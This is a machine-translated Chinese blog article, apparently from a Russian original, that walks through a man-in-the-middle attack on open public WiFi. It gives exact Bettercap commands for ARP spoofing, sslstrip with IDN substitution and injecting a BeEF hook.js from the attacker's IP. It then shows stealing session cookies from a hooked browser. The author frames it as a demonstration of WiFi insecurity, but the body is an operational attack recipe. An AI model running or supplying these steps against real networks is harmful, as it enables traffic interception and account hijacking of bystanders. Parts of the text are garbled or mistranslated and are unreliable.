在公共网络中开放流量





本文是关于如何变酷的(或称为Script Kiddie)-一种有条件的攻击者,他缺乏编程知识,并使用现有软件对同学的智能手机和平板电脑发起了攻击。



开玩笑。实际上,我面临着理解两件事的任务:



  1. WiFi 2020 , HTTPS ( TLS 1.1+) HSTS
  2. ( ) “” .


在扰流板中有一个扰流板:

  1. 是的,危险!
  2. 可能很好




我必须马上说,尽管我的一些实验是在真实的公共网络上进行的,但是我只能“非法访问”我自己设备的浏览器。因此,实际上,我并没有违反俄罗斯联邦《刑法》第28章,强烈建议您不要违反它。仅出于演示使用公共无线网络不安全性目的而提供此实验和文章以供审查



那么,如果黑客容易通过开放的无线网络拦截流量,那么对于黑客来说,实际的问题是什么?问题在于,到2020年,几乎所有站点(99%)都使用HTTPS并使用相当新的TLS协议使用单个密钥来加密潜在“受害者”的服务器和浏览器之间的所有数据交换。... TLS使客户端-服务器应用程序可以在网络上进行通信,从而使其无法侦听数据包并进行未经授权的访问。更准确地说,您可以收听,但是这没有任何意义,因为没有密钥的加密流量无法对其解密。



此外,在所有现代浏览器中,都实现了HSTS(HTTP严格传输安全性)机制,通过HTTPS协议强制激活安全连接并终止简单的HTTP连接。通过此安全策略,您可以立即建立安全连接,而不必使用HTTP协议。引擎使用特殊的标头即使遵循以下明确指定HTTP(http://)的链接,Strict-Transport-Security也会强制浏览器使用HTTPS。原始的HSTS不能保护用户到站点的第一个连接,这给黑客留下了漏洞,并且攻击者可以轻松地通过HTTP拦截第一个连接。因此,为了解决此问题,大多数现代浏览器都使用要求使用https协议的附加静态站点列表(HSTS预加载列表)。



为了以某种方式拦截输入的密码或窃取受害者的cookie,您需要以某种方式进入受害者的浏览器或确保不使用TLS加密协议。我们会同时做两件事。为此,我们将使用中间人攻击方法。”(MitM)。我将保留我们的攻击等级较低的建议,因为我们将使用Hackney Sam杂志的现成的“半成品构造函数”,而实际上没有进行任何修改。真正的黑客拥有更好的武装,我们仅扮演低技能的kulkhatskers角色,以说明现代公共无线网络的不安全程度。





作为该实验的工具箱,我使用了以下工具箱:



  • 美食广场上的任何公共WiFi网络
  • 上网本Acer Aspire A D270
  • 内置wifi上网卡Atheros AR5B125
  • 外部wifi USB WiFi适配器TP-LINK Archer T4U v3
  • 外部wifi USB适配器TP-LINK Archer T9UH v2
  • 内核版本为5.8.0-kali2-amd64的Kali Linux
  • Bettercap v2.28框架
  • BeEF 0.5框架
  • 几台Android 9智能手机和平板电脑以及一台Windows 7笔记本电脑作为受害者设备。


为什么有那么多wifi卡?是的,因为在实验过程中,我踩了一堆耙子,试图省钱。事实证明,好的WiFi卡是成功攻击者的主要工具。存在许多问题:该卡必须支持监视和访问点(AP),它必须具有适用于您的Linux内核版本的驱动程序,该卡必须具有良好的天线性能和控制信号强度的能力。如果您不希望有额外的佣金,请从此列表的顶部开始选择价格昂贵的适配器,并且不要忘记检查是否有专门用于该卡硬件版本的驱动程序。



内置的Atheros AR9485卡具有对所有模式的出色支持,并且在Kali中具有开箱即用的驱动程序,但是由于无法控制信号强度和天线较弱,因此在有源干扰阶段,该卡的效果无法发挥。



WiFi TP-LINK Archer T4U v3并没有开箱即用的驱动程序,我在Github上找到的驱动程序没有访问点(AP)模式支持,必须自行编译。



TP-LINK Archer T9UH v2卡与开箱即用的驱动程序完美配合,我做到了。



软件





我做的第一件事是在笔记本电脑上安装Kali Linux 5.8.0。笔记本电脑中唯一的SSD空着,完全可以用于实验,这为我节省了一些分区和备份旧数据的麻烦,因此在安装过程中我使用了所有默认选项。我仍然面临一些琐碎的问题,例如在安装过程中丢失了USB随随分发套件的安装,以及将系统从存储库更新到最新版本。





然后有必要启动渗透工具,它们将是Bettercap和BeEF。在他们的帮助下,我们将迫使“受害者”的浏览器拒绝加密流量,并将Trojan JavaScript注入他们访问的站点。



更好的帽子是一个完整,模块化,可移植且易于扩展的工具和框架,具有执行中间人攻击可能需要的各种诊断和攻击功能。 Bettercap是用Go编写的,该项目的主要开发一直持续到2019年,现在只有一些小的修复。但是,正如我们稍后将看到的那样,在快速变化的信息安全世界中,此工具在2020年底仍然具有重要意义。 Bettercap带有内置的arp欺骗和sslstrip模块。 Bettercap拦截流量并向其中注入恶意负载。



SSlstrip是专用的代理服务器,它允许您组织绕过HTTPS的方法之一拦截流量是将用户会话分为两部分。从客户端到代理服务器的第一部分将通过HTTP协议,从代理到服务器的第二部分将按需要通过加密连接。SSLstrip允许您将受害者的会话分为两部分,并拦截流量以进行进一步分析,并提供自动重定向到动态创建的HTTP页面双胞胎的功能。



ARP欺骗拦截本地有线或无线交换网络上的数据包。 arpspoof通过欺骗ARP响应,重定向来自网络上目标主机(或所有主机)的数据包,该数据包发往该网络上的另一主机。这是嗅探交换机或wifi路由器上流量的一种非常有效的方法。



BeEF是一个框架,可让您集中管理通过XSS攻击(跨站点脚本)感染的客户端池,向其发出命令并获得结果。 “攻击者”将脚本hook.js注入易受攻击的站点。受害者浏览器中的hook.js脚本向攻击者计算机(BeEF)的控制中心发出信号,通知新客户端已联机。 “攻击者”进入BeEF控制面板并远程控制受感染的浏览器。



我使用的是Bettercap v2.28和BeEF 0.5版本,它们都已包含在Kali Linux 5.8.0中。

打开命令提示符窗口,然后输入命令



sudo beef-xss




我们的恶意三明治的第一部分-BeEF框架-开始。



现在,启动浏览器(在Kali Linux中通常为Firefox),转到地址http://127.0.0.1:3000/ui/pannel,默认登录名和密码Beef:Beef,然后进入攻击的控制点。





让“ BeEF”标签保持打开状态,我们稍后再返回。



让我们继续进行三明治的第二部分-Bettercap。这里有一个陷阱-Bettercap,它已经在系统中,拒绝作为服务启动,并给出了我不理解的其他错误。因此,我决定将其删除并手动重新安装。打开命令提示符窗口并执行命令:



sudo apt remove bettercap
sudo rm /usr/local/bin/bettercap


然后,使用浏览器将存档中的Bettercap v2.28二进制版本下载到下载文件夹中。请注意,我为内核体系结构选择了版本。



现在我们解压缩可执行文件并将其在Bettercap系统中放置到用于手动安装的文件夹中。



d  
unzip bettercap_linux_amd64_v2.28.zip
sudo mv bettercap /usr/local/bin/


开始使用Bettercap的最简单方法是使用其官方Web用户界面。 Web界面与其余API服务和交互式命令行会话同时工作。要安装Web界面,您需要运行以下命令:



sudo bettercap -eval "caplets.update; ui.update; q"


注意!在此阶段,已经有必要连接到受攻击的无线网络,获取攻击机器的无线接口的ip地址并记住它(该命令ifconfig将有助于发现它)。



Bettercap可以理解单个命令行命令和Caplet。 Caplet只是一个文本文件,其中包含将顺序执行的命令列表。 http-ui caplet用于启动Web界面。您可以沿路径/usr/local/share/bettercap/caplets/http-ui.cap查看和更改其中的默认凭据。通过以下命令使用Web界面模块api.rest和http.server 127.0.0.1启动Bettercap。



sudo bettercap -caplet http-ui




现在,您可以在浏览器中打开另一个地址为127.0.0.1的 选项卡(不带端口号!),并使用在上一步中监视或配置的凭据(通常为user / pass登录





Bettercap Web界面完全复制了命令行,因此我们从命令行执行的所有操作也可以从Web界面完成(启动模块,更改模式,查看更改的变量值,显示诊断信息)



在命令行上继续并执行初始操作侦察我们已经作为常规客户端连接到的无线网络。



net.recon on
net.probe on
Net.show
net.recon off


net.recon on-开始发现网络主机。

net.probe on-通过将伪造的数据包发送到子网中的每个可能的IP,启动对网络上新主机的活动探测。

net.show-提供命令以显示检测到的主机的缓存列表。

net.probe off-关闭活动的探测模块。

我们配置Bettercap变量,以便:



  • 充当透明代理,并通过sslstrip模块“禁用”了“受害者”的浏览器交换加密,
  • 向它们注入恶意负载(http://192.168.0.103/hook.js-BeEF脚本,使用路由器发布的IP到受攻击网络中的适配器),
  • 通过使用类似的国际化字符替换受害者浏览器地址栏中的地址,从而绕过了HTST机制。


命令:



set http.proxy.sslstrip true
set http.proxy.injectjs http://192.168.0.103/hook.js
set http.proxy.sslstrip.useIDN true


然后,我们对无线用户发起攻击:

命令



arp.spoof on
http.proxy on




arp.spoof开启-启动“受害者”设备的ARP缓存中毒,此模块将流量重定向到“攻击者”的无线接口

http.proxy开启-启动透明代理,此模块创建一个代理服务器,它将捕获所有转发的流量并对其进行修改以适合“入侵者”。

“受害者”开始使用互联网,进入网站,如果成功,攻击将被剥夺传输加密(这意味着任何嗅探器都可以直接使用它们进行攻击),并且会收到恶意的BeEF脚本。在嵌入其页面的域的上下文中执行的BeEF脚本可以执行许多不同的操作,例如,窃取Cookie或窃取输入的密码。





由于它是匆忙制作的三明治,因此攻击并非在所有站点上都有效。例如,极不可能用其中一个Google网站发起攻击,因为该浏览器已经具有某些网站的HSTS预加载列表。但是事实证明,“劫持” Rambler或Coub.com是很有可能的!如果我们要求“受害者”(社会工程学,如果没有它,我们在哪里可以去)打开Ro.ru地址,或者突然她自己做了地址,那么会发生以下情况:







所有受害者进入rambler.ru网站的流量都是以明文形式空中传播,任何嗅探器都可以收听。在浏览器中,“受害者”几乎没有问题的迹象,除了不明显的三角形和地址栏末尾的另一个奇怪字符。





同时,在BeEF框架控制面板中“攻击者”的计算机上的“在线浏览器”部分中,将出现一条有关挂在钩子上的新浏览器的条目。用鼠标选择此浏览器,转到“命令”子选项卡,再转到“浏览器”目录,然后依次连接到已挂接的域→获取Cookie→执行





一次,只需单击几下鼠标,我们就从受害者那里窃取了Rambler.ru网站的会话cookie。现在,我们可以尝试将它们插入浏览器并进入受害者的会话。那仅仅是顶部!但是在BeEF的工具库中,仍然可以向“捕获”浏览器发送数百种不同的“命令”:各种网络钓鱼选项,窃取密码,Ricroll,重定向,漏洞利用...



结论



实验的结论令人失望。浏览器仍然不能100%保护用户免遭流量篡改或将该网站替换为网络钓鱼。HSTS机制仅适用于数千个最受欢迎的网站,而数百万其他网站则没有可靠的保护。浏览器不够明确,无法警告与服务器的连接未加密。在无线网络中,情况甚至更糟,在该网络中,任何想要访问数据传输介质的人都几乎没有用户可以验证接入点本身的真实性,并且根本不存在可靠的接入点身份验证方法。










All Articles